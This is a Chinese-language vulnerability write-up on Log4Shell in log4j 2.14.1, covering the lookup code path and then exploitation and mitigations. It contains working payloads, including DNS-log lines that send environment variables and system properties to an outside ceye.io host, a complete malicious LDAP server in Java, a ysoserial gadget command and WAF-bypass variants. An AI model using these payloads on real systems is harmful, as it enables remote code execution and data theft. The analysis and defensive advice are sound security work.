作者:lxraa
本文為作者投稿,Seebug Paper 期待你的分享,凡經采用即有禮品相送! 投稿郵箱:paper@seebug.org

一、漏洞分析

調試版本:2.14.1

1、漏洞觸發點:

org.apache.logging.log4j.core.net.JndiManager:172

image-20211214101057910

調用棧:

image-20211214101754598

熟悉的lookup,因此log4shell如果要命令執行,需要利用jndi觸發的反序列化漏洞,并不是單純的rce,等價于:

// name可控
String name = "ldap://127.0.0.1:1333/#Exploit";
Context ctx = new InitialContext();
ctx.lookup(name);

2、代碼分析

關鍵函數1:

org\apache\logging\log4j\core\lookup\StrSubstitutor.substitute

函數流程如下:

  • 找到String中的${},將里面的變量拿出來解析

image-20211214102857478

其中prefixMatcher是一個StringMatcher繼承自虛類StrMatcher,用來匹配字符串,后面多處用到,他的關鍵函數定義及作用是

/**

看buffer的pos處是否為指定字符串(初始化時指定,如prefixMatcher的指定字符串為"${"),如果是則返回字符串長度,否則返回0;

**/

public abstract int isMatch(char[] buffer, int pos, int bufferStart, int bufferEnd);

  • 987行到1029行會對:-:\-進行處理,與漏洞主要邏輯無關,但該處可以用來繞過waf,詳見漏洞利用

image-20211214105127950

  • 1033行調用resolveVariable解析${}里弄出來的變量

關鍵函數2:

org\apache\logging\log4j\core\lookup\StrSubstitutor.resolveVariable

這個函數獲取StrLookup對${}里的變量進行解析,StrLookup是個接口,Interpolator類間接實現了StrLookup:

public class Interpolator extends AbstractConfigurationAwareLookup ...
public abstract class AbstractConfigurationAwareLookup extends AbstractLookup implements ConfigurationAware ...
public abstract class AbstractLookup implements StrLookup ...

它的lookup方法通過:前的PREFIX,從Interpolator的一個私有hashmap里決定分配給哪個具體的Lookup處理變量,所有支持的PREFIX有:

image-20211214135924004

對應所有接口的實現在org\apache\logging\log4j\core\lookup\包:

image-20211214140052387

  • 各StrLookup接口實現功能分析:

關鍵函數是lookup(final LogEvent event,final String key);

date:格式化時間:

image-20211214144008892

java:輸出本地java語言相關信息:

image-20211214144422831

marker:從event的marker中獲取信息,暫不清楚做什么用

image-20211214145008642

ctx:從event的contextData(一個map)中取value

image-20211214145216452

lower:取小寫

upper:取大寫

jndi:等價與

    // name可控
    String name = "xxx";
    Context ctx = new InitialContext();
    ctx.lookup(name);

main:從內存某個map里獲取value

image-20211214154734490

jvmrunargs:本意好像是從jvm參數中獲取參數,調試中發現初始化的map和strLookupMap中的map不是同一個,原因未知

image-20211214160839980

image-20211214163401573

image-20211214163444744

sys:等價于System.getProperty(xxx)

image-20211214164401376

env:等價于System.env獲取環境變量,可以如下圖所示列出本地所有的環境變量

image-20211214164923627

log4j:支持configLocation和configParentLocation兩個key,當存在log4j2.xml配置文件時,可以獲取該文件的絕對路徑,和上級文件夾的絕對路徑

image-20211214165632942

image-20211214165751950

二、漏洞利用

1、漏洞探測

常規方法,可以利用dns log探測漏洞是否存在,例:利用ceye探測漏洞是否存在:

logger.error("${jndi:ldap://****.ceye.io/}");

2、信息收集

利用sys、env等lookup+dnslog,進行利用環境的信息收集(由于域名中不能存在某些特殊字符,因此不是所有的環境變量都可以利用dnslog帶出來),以下是部分windows下利用的payload:

logger.error("${jndi:ldap://${env:OS}.vwva2y.ceye.io/}"); //系統版本
logger.error("${jndi:ldap://${env:USERNAME}.vwva2y.ceye.io/}");//用戶名
logger.error("${jndi:ldap://${sys:java.version}.vwva2y.ceye.io/}");//java版本,這個比較關鍵,因為jndi注入的payload高度依賴于java版本
logger.error("${jndi:ldap://${sys:os.version}.vwva2y.ceye.io/}");//系統版本
logger.error("${jndi:ldap://${sys:user.timezone}.vwva2y.ceye.io/}");//時區
logger.error("${jndi:ldap://${sys:file.encoding}.vwva2y.ceye.io/}");//文件編碼
logger.error("${jndi:ldap://${sys:sun.cpu.endian}.vwva2y.ceye.io/}");//cpu大端or小端
logger.error("${jndi:ldap://${sys:sun.desktop}.vwva2y.ceye.io/}");//系統版本
logger.error("${jndi:ldap://${sys:sun.cpu.isalist}.vwva2y.ceye.io/}");//cpu指令集

3、RCE

log4shell的RCE基本等于jndi注入,log4shell可以探測jdk版本,可以根據實際環境選擇適當的方法進行rce。jndi注入的利用姿勢可以參考:

https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html

以下以1.8.0_261版本下的rce為例:

由于8u191+的jdk不再信任遠程加載的類,本例使用ldap entry的javaSerializedData屬性的反序列化觸發本地的Gadget,利用條件是工程有commons-collections依賴,版本需 <=3.2.1(ysoserial說需小于3.1,實測3.2.1及以下均可使用)

  • 使用ysoserial生成base64 payload(使用windows的同學注意powershell生成可能會有問題,請使用cmd生成)
  java -jar .\ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections6 "calc" |base64 > pp.txt
  • 構造惡意LDAP服務器,參考了marshalsec
  package com.lxraa.test.jndi;

  import java.io.FileInputStream;
  import java.io.IOException;
  import java.net.InetAddress;
  import java.net.URL;
  import javax.net.ServerSocketFactory;
  import javax.net.SocketFactory;
  import javax.net.ssl.SSLSocketFactory;

  import com.twitter.chill.Base64;
  import com.unboundid.ldap.listener.InMemoryDirectoryServer;
  import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
  import com.unboundid.ldap.listener.InMemoryListenerConfig;
  import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
  import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
  import com.unboundid.ldap.sdk.Entry;
  import com.unboundid.ldap.sdk.LDAPException;
  import com.unboundid.ldap.sdk.LDAPResult;
  import com.unboundid.ldap.sdk.ResultCode;


  public class LDAPServer {

      private static final String LDAP_BASE = "dc=example,dc=com";


      public static void main (String[] args) {
          int port = 1333;
          String url = "http://127.0.0.1:3000/#Exploit";
          try {
              InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
              config.setListenerConfigs(new InMemoryListenerConfig(
                      "listen", //$NON-NLS-1$
                      InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                      port,
                      ServerSocketFactory.getDefault(),
                      SocketFactory.getDefault(),
                      (SSLSocketFactory) SSLSocketFactory.getDefault()));

              config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
              InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
              System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
              ds.startListening();

          }
          catch ( Exception e ) {
              e.printStackTrace();
          }
      }

      private static class OperationInterceptor extends InMemoryOperationInterceptor {

          private URL codebase;



          public OperationInterceptor ( URL cb ) {
              this.codebase = cb;
          }


          @Override
          public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
              String base = result.getRequest().getBaseDN();
              Entry e = new Entry(base);
              try {
                  sendResult(result, base, e);
              }
              catch ( Exception e1 ) {
                  e1.printStackTrace();
              }

          }


          protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, IOException {
              URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
              System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
              e.addAttribute("javaClassName", "th3wind");
              String cbstring = this.codebase.toString();
              int refPos = cbstring.indexOf('#');
              if ( refPos > 0 ) {
                  cbstring = cbstring.substring(0, refPos);
              }



              byte[] bytes2 = Base64.decode("**************");

              e.addAttribute("javaCodeBase", cbstring);
              e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
              e.addAttribute("javaFactory", this.codebase.getRef());
              e.addAttribute("javaSerializedData", bytes2);
              result.sendSearchEntry(e);
              result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
          }

      }
  }
  • poc:
  logger.error("${jndi:ldap://127.0.0.1:1333/#Exploit}");

image-20211215091739638

4、payload變形

  • 利用本身的lookup${lower:J}
  logger.error("${${lower:J}ndi:ldap://127.0.0.1:1333/#Exploit}");
  • 利用substitute的解析問題,前文提到關鍵代碼在987行到1029行

image-20211215092935474

總結一下就是截取:-后面的部分,如果存在多個:-則以第一個為準,例如:

func("asdasdasdasd:-x") = "x";
func("asdasdasdasd:-asdasdasd:-x") = "asdasdasd:-x"

如果lookup返回null,則把該${}塊替換為這樣處理后的字符串,因此可以構造payload:

logger.error("${${anychars:-j}ndi:ldap://127.0.0.1:1333/#Exploit}");
logger.error("${${anychars:-j}ndi${anychars:-:}ldap://127.0.0.1:1333/#Exploit}"); //特殊字符也可替換

三、修復建議

1、waf(緩解措施,不能保證過濾全部攻擊包

*僅提供思路,不保證正則性能,請根據實際生產情況優化

過濾思路:

①如果不存在\$\{(.*):-(.*)\},則攻擊包中必存在連續關鍵字,直接過濾所有log4j2支持的lookup:

${date:
${java:
${marker:
${ctx:
${lower:
${upper:
${jndi:
${main:
${jvmrunargs:
${sys:
${env:
${log4j:

② 如果存在\$\{(.*):-(.*)\},則文中可能不存在連續關鍵字,如${${xxxxx:-l}ower:}

,但是log4j2語法只支持大小寫轉換,不會有編碼及替換,因此關鍵字詞序不變,且最多存在大小寫混淆,可使用:

// 其他lookup同理
\$(.*?)\{(.*?)[jJ](.*?)[nN](.*?)[dD](.*?)[iI](.*?):

2、網絡層控制(緩解措施

禁止非必須出向流量

3、升級JDK(緩解措施

高版本JDK的jndi注入利用難度相對較大

4、排除非必須反序列化Gadget(緩解措施

參照ysoserial說明文檔

     Payload             Authors                                Dependencies
     -------             -------                                ------------
     AspectJWeaver       @Jang                                  aspectjweaver:1.9.2, commons-collections:3.2.2
     BeanShell1          @pwntester, @cschneider4711            bsh:2.0b5
     C3P0                @mbechler                              c3p0:0.9.5.2, mchange-commons-java:0.2.11
     Click1              @artsploit                             click-nodeps:2.3.0, javax.servlet-api:3.1.0
     Clojure             @JackOfMostTrades                      clojure:1.8.0
     CommonsBeanutils1   @frohoff                               commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
     CommonsCollections1 @frohoff                               commons-collections:3.1
     CommonsCollections2 @frohoff                               commons-collections4:4.0
     CommonsCollections3 @frohoff                               commons-collections:3.1
     CommonsCollections4 @frohoff                               commons-collections4:4.0
     CommonsCollections5 @matthias_kaiser, @jasinner            commons-collections:3.1
     CommonsCollections6 @matthias_kaiser                       commons-collections:3.1
     CommonsCollections7 @scristalli, @hanyrax, @EdoardoVignati commons-collections:3.1
     FileUpload1         @mbechler                              commons-fileupload:1.3.1, commons-io:2.4
     Groovy1             @frohoff                               groovy:2.3.9
     Hibernate1          @mbechler
     Hibernate2          @mbechler
     JBossInterceptors1  @matthias_kaiser                       javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
     JRMPClient          @mbechler
     JRMPListener        @mbechler
     JSON1               @mbechler                              json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
     JavassistWeld1      @matthias_kaiser                       javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
     Jdk7u21             @frohoff
     Jython1             @pwntester, @cschneider4711            jython-standalone:2.5.2
     MozillaRhino1       @matthias_kaiser                       js:1.7R2
     MozillaRhino2       @_tint0                                js:1.7R2
     Myfaces1            @mbechler
     Myfaces2            @mbechler
     ROME                @mbechler                              rome:1.0
     Spring1             @frohoff                               spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
     Spring2             @mbechler                              spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
     URLDNS              @gebl
     Vaadin1             @kai_ullrich                           vaadin-server:7.7.14, vaadin-shared:7.7.14
     Wicket1             @jacob-baines                          wicket-util:6.23.0, slf4j-api:1.6.4

5、配置關閉lookup功能(緩解措施

  • 修改 jvm 參數 -Dlog4j2.formatMsgNoLookups=true

  • 修改配置 log4j2.formatMsgNoLookups=True

注意:2.10以前版本修改jvm參數無效的

6、升級log4j2版本到2.16.0+

注意依賴包里可能存在有漏洞的log4j-api和log4j-core,需一并排查

image-20211215103012092

image-20211215103230474

參考文章:

https://mp.weixin.qq.com/s/Yq9k1eBquz3mM1sCinneiA

https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1788/